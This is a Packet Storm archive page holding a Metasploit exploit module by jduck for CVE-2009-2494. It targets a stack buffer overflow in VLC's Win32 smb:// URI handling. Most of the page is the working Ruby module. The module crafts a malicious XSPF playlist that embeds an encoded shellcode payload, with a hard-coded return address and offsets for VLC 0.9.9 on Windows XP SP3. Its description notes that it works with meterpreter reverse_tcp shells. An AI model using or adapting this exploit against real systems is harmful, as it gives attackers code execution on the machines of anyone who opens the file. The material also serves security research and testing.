exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow

VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow
Posted Feb 15, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a stack-based buffer overflow in the Win32AddConnection function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are reportedly affected. This vulnerability is only present in Win32 builds of VLC. This payload was found to work with the windows/exec and windows/meterpreter/reverse_tcp payloads. However, the windows/meterpreter/reverse_ord_tcp was found not to work.

tags | exploit, overflow
systems | windows
advisories | CVE-2009-2494
SHA-256 | a3aa0c6ca5cd47caa7c0c765b71284dcfa7bcc0b1f90d243d75f975cddf960c3

VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow

Change Mirror Download
##
# $Id: vlc_smb_uri.rb 8475 2010-02-13 06:58:27Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(update_info(info,
'Name' => 'VideoLAN Client (VLC) Win32 smb:// URI Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in the Win32AddConnection
function of the VideoLAN VLC media player. Versions 0.9.9 throught 1.0.1 are
reportedly affected.

This vulnerability is only present in Win32 builds of VLC.

This payload was found to work with the windows/exec and
windows/meterpreter/reverse_tcp payloads. However, the
windows/meterpreter/reverse_ord_tcp was found not to work.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 8475 $',
'References' =>
[
[ 'BID', '35500' ],
[ 'OSVDB', '55509' ],
[ 'CVE', '2009-2494' ],
[ 'URL', 'http://git.videolan.org/?p=vlc.git;a=commit;h=e60a9038b13b5eb805a76755efc5c6d5e080180f' ],
[ 'URL', 'http://milw0rm.com/exploits/9209' ],
[ 'URL', 'http://www.exploit-db.com/exploits/9029' ]
],
'Payload' =>
{
'Space' => 1024,
'BadChars' => "\x00",
'DisableNops' => true,
'EncoderType' => Msf::Encoder::Type::AlphanumMixed,
'EncoderOptions' =>
{
'BufferRegister' => 'ESI',
}
},
'Platform' => 'win',
'Targets' =>
[
[ 'vlc 0.9.9 on Windows XP SP3',
# shellcode pointers @ esp + {0xa4,0xd0,0xdc,0xec,0x1ec}
{
'Readable' => 0x65414141, # points to nul bytes in libmod_plugin
'Offset' => 409,
# libvout_directx_plugin.dll
# add esp,0xcc / pop ebx / pop esi / pop edi / pop ebp / ret
# esi is used as our buffer register, and also becomes eip
# (there are two copies of the pointer on the stack)
'Ret' => 0x6b54543e,
}
],
],
'Privileged' => false,
'DisclosureDate' => 'Jun 24 2009',
'DefaultTarget' => 0))

register_options(
[
OptString.new('FILENAME', [ true, 'The file name.', 'msf.xspf']),
], self.class)
end

def exploit

template = %Q|<?xml version="1.0" encoding="UTF-8"?>
<playlist version="1" xmlns="http://xspf.org/ns/0/" xmlns:vlc="http://www.videolan.org/vlc/playlist/ns/0/">
<title>Playlist</title>
<trackList>
<track>
<location>REPLACE_ME</location>
<extension application="http://www.videolan.org/vlc/playlist/0">
<vlc:id>0</vlc:id>
</extension>
</track>
</trackList>
</playlist>
|

readable = [target['Readable']].pack('V')

# we'll model the memory layout post-overflow..
#psz_remote = Rex::Text.pattern_create(2+260+1+260)
psz_remote = rand_text_alphanumeric(target['Offset'] + 4)
psz_remote[0,2] = "\\\\"
psz_remote[2+260,1] = "\\"

# some of this causes crashes in "WNetAddConnection2A" so we need to use
# readable addresses... dodging the crashy derefs!
# NOTE: some of these only occur in odd open scenarios (like drag/drop)
psz_remote[263,4] = readable
psz_remote[271,4] = readable
psz_remote[325,4] = readable
psz_remote[337,4] = readable

# add the return addr in
psz_remote[target['Offset'],4] = [target.ret].pack('V')

# now we can split it and put it in the xml...
host,share = psz_remote[2,psz_remote.length].split("\\")
path = "smb://%s@%s/%s/" % [payload.encoded, host, share]
sploit = template.gsub(/REPLACE_ME/, path)

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close